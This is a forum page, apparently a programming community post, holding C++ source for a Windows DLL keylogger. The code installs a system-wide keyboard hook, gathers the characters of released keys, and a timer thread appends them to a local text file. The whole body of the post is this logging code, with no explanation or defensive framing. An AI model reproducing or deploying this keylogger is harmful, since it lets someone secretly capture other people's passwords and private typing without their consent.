64,648
社区成员
发帖
与我相关
我的任务
分享
#include <windows.h>
#include "write.hpp"
int _time = 0;
HANDLE timer_thread;
bool do_write=0;
std::string STR="";
HINSTANCE hInst;
#pragma data_seg("hookdata")
HHOOK oldkeyhook;
#pragma data_seg()
#pragma comment ( linker, "/section:shared,rws" )
#define DllExport __declspec(dllexport)
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam );
DllExport void _stdcall InstallHook(int nCode);
DllExport void _stdcall EndHook();
DWORD WINAPI _timer(void* Sptr)
{
while (1)
{
if (do_write||_time>22)
{
_time = 0;
if (STR.length()>0) {
do_write = 0;
std::ofstream fp("e:\\c\\hook\\key.txt",std::ios_base::app);
WriteLine(fp,STR);
STR="";
}
}
Sleep(260);
_time++;
}
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hInstance,DWORD What,LPVOID NotUsed)
{
switch(What)
{
case DLL_PROCESS_ATTACH:
hInst = hInstance;
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return 1;
}
void InstallHook(int nCode)
{
oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,GetModuleHandle("_hook.dll"),0);
DWORD ID; timer_thread = CreateThread(NULL,0,_timer,NULL,0,&ID);
}
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam )
{
if (lParam>>31)
{
_time = 0;
if (wParam>=0x20&&wParam<=0x60) {STR+=char(wParam); }
if (wParam>=0x09&&wParam<=0x0D) {do_write =1;}
}
return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);
}
void EndHook()
{
MessageBox(NULL,"end","a",0);
CloseHandle(timer_thread);
UnhookWindowsHookEx(oldkeyhook);
}